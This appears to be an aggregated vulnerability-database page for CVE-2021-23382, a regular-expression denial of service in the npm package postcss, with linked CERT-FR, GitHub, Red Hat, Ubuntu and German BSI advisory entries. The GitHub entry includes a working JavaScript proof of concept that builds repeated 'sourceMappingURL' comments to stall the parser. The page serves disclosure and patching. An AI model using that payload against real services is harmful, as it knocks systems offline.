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certfr-2021-avi-671 — De multiples vulnérabilités ont été découvertes dans IBM Spectrum Protect Plus. Elles permettent à un attaquant de prov…

certfr-2021-avi-671

EUVD-2026-176111

fkie_cve-2021-23382

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).

GHSA-566m-qj78-rww5 — Regular Expression Denial of Service in postcss

Affected: npm: postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ```

### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ```

gsd-2021-23382

RHSA-2021:2438 — Red Hat Security Advisory: OpenShift Container Platform 4.8.2 bug fix and security update

SSL/TLS: Birthday attack against 64-bit block ciphers (SWEET32) nodejs-y18n: prototype pollution vulnerability etcd: Large slice causes panic in decodeRecord method etcd: DoS in wal/wal.go etcd: directories created via os.MkdirAll are not checked for permissions etcd: gateway can include itself as an endpoint resulting in resource exhaustion and leads to DoS etcd: no authentication is performed against endpoints provided in the --endpoints flag jwt-go: access restriction bypass vulnerability nodejs-glob-parent: Regular expression denial of service nodejs-lodash: ReDoS via the toNumber, trim and trimEnd functions golang.org/x/text: Panic in language.ParseAcceptLanguage while processing bcp47 tag golang: crypto/elliptic: incorrect operations on the P-224 curve gogo/protobuf: plugin/unmarshal/unmarshal.go lacks certain index validation containernetworking-cni: Arbitrary path injection via type field in CNI configuration fabric8-kubernetes-client: vulnerable to a path traversal leading to integrity and availability compromise containers/storage: DoS via malicious image go.elastic.co/apm: leaks sensitive HTTP headers during panic nodejs-lodash: command injection via template nodejs-hosted-git-info: Regular Expression denial of service via shortcutMatch in fromUrl() nodejs-postcss: Regular expression denial of service during source map parsing nodejs-postcss: ReDoS via getAnnotationURL() and loadAnnotation() in lib/previous-map.js sanitize-html: improper handling of internationali…

UBUNTU-CVE-2021-23382

Affected: Ubuntu:20.04:LTS: node-postcss, Ubuntu:22.04:LTS: node-postcss

WID-SEC-W-2023-0809 — IBM QRadar SIEM: Mehrere Schwachstellen

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM QRadar SIEM ausnutzen, um beliebigen Programmcode auszuführen, Informationen offenzulegen, Informationen falsch darzustellen, einen Denial of Service Zustand herbeizuführen, Sicherheitsvorkehrungen zu umgehen, einen Cross-Site-Scripting-Angriff durchzuführen oder unbekannte Auswirkungen zu verursachen.